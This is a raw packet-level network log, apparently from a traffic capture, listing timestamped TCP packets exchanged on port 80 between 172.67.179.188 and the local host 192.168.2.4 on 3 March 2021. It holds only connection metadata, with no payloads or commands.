Mar 3, 2021 07:32:39.822410107 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822422028 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822438002 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822449923 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822463036 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822480917 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822498083 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822514057 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822529078 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822544098 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822559118 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822578907 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822639942 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822690964 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822721004 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822729111 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.822738886 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822755098 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822767973 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.822772026 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822788000 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822803974 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822810888 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.822823048 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822840929 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.822855949 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.822879076 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.823307991 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.823348045 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.823923111 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.823947906 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.823964119 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.823978901 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.823995113 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824011087 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824031115 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824039936 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.824048996 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824065924 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824081898 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824091911 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.824098110 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824115038 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824140072 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.824253082 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824285030 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.824286938 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824318886 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824352026 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824378014 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824381113 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.824404955 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824419022 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824429035 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.824434996 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824450970 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824466944 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824477911 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.824482918 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.824496031 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.824496984 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.825089931 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.825119972 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.825130939 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.825150013 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.825175047 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.825192928 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.825200081 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.825218916 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.825236082 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.825251102 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.825264931 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.825268984 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.825284004 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.825294018 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.825303078 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.825320005 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.825329065 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.825335026 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.825414896 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.825431108 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.826042891 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.826070070 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.826096058 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.826122046 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.826138020 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.826153040 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.826163054 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.826179028 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.826193094 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.826201916 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.826209068 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.826219082 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.826225042 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.826245070 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.826247931 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.826261997 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.826277971 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.826286077 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.826436043 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.826968908 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827008963 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827033997 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827050924 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827076912 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827086926 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.827095032 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827111006 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827122927 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.827131033 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827136993 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.827148914 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827163935 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827178955 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827186108 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.827193975 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827209949 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827219963 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.827279091 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.827289104 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.827841043 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827871084 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827892065 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827919960 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827945948 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827946901 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.827964067 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827986956 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.827991009 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.828002930 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.828013897 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.828020096 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.828035116 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.828051090 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.828061104 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.828067064 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.828088045 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.828113079 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.828771114 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.828819990 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.828857899 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.828875065 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.828891039 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.828906059 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.828921080 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.828937054 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.828953028 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.828953981 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.828972101 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.828998089 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.829190969 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.829525948 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.829550982 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.829567909 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.829593897 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.829617023 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.829619884 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.829632998 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.829648972 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.829658985 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.829665899 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.829684019 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.829690933 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.829715967 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.829732895 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.829750061 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.829758883 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.829765081 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.829790115 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.830077887 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.830370903 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.830404043 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.830430031 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.830449104 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.830456018 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.830471992 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.830497026 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.830497026 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.830513000 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.830532074 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.830549955 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.830559969 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.830565929 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.830583096 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.830593109 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.830600023 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.830615997 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.830625057 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.830677986 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.830681086 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.831269026 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.831300974 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.831319094 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.831348896 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.831372976 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.831393003 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.831424952 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.831429005 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.831443071 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.831459999 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.831469059 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.831479073 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.831496954 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.831512928 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.831523895 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.831530094 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.831556082 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.831862926 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.832186937 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.832227945 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.832259893 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.832279921 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.832309008 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.832317114 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.832334995 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.832344055 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.832355022 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.832360983 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.832371950 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.832389116 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.832405090 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.832417965 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.832423925 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.832442045 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.832458019 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.832468033 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.832482100 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.833076000 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.833164930 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.833189011 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.833204985 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.833235025 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.833261013 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.833287001 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.833288908 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.833302021 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.833314896 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.833332062 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.833348989 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.833358049 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.833367109 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.833376884 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.833405018 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.833427906 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.833429098 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.833446026 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.833940029 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.834053040 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834075928 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834100962 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834125042 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834141016 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834151030 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.834163904 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834186077 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834201097 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834209919 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.834216118 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834224939 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.834695101 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834727049 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834731102 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.834748983 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834779978 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834803104 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.834810019 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834839106 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.834839106 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834865093 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834882021 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834897995 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834909916 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.834913969 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834933996 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834944010 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.834949970 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.834959030 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.834965944 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.835644007 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.835674047 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.835688114 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.835702896 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.835726976 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.835731030 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.835756063 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.835758924 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.835777044 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.835793018 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.835808992 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.835827112 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.835828066 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.835841894 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.835858107 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.835876942 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.835885048 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.835896015 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.835906982 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.836581945 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.836612940 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.836627960 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.836642027 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.836668968 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.836693048 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.836694002 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.836708069 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.836724043 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.836733103 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.836740017 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.836750031 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.836756945 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.836772919 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.836787939 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.836807013 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.836816072 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.836827040 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.836853981 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.837538004 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.837569952 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.837582111 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.837600946 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.837625980 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.837626934 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.837651968 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.837654114 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.837671995 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.837687016 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.837703943 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.837719917 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.837728977 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.837738991 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.837757111 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.837764978 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.837773085 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.837789059 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.837790012 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.837815046 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.838155031 CET	49741	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:32:39.838468075 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.838491917 CET	80	49741	172.67.179.188	192.168.2.4
Mar 3, 2021 07:32:39.838515997 CET	80	49741	172.67.179.188	192.168.2.4
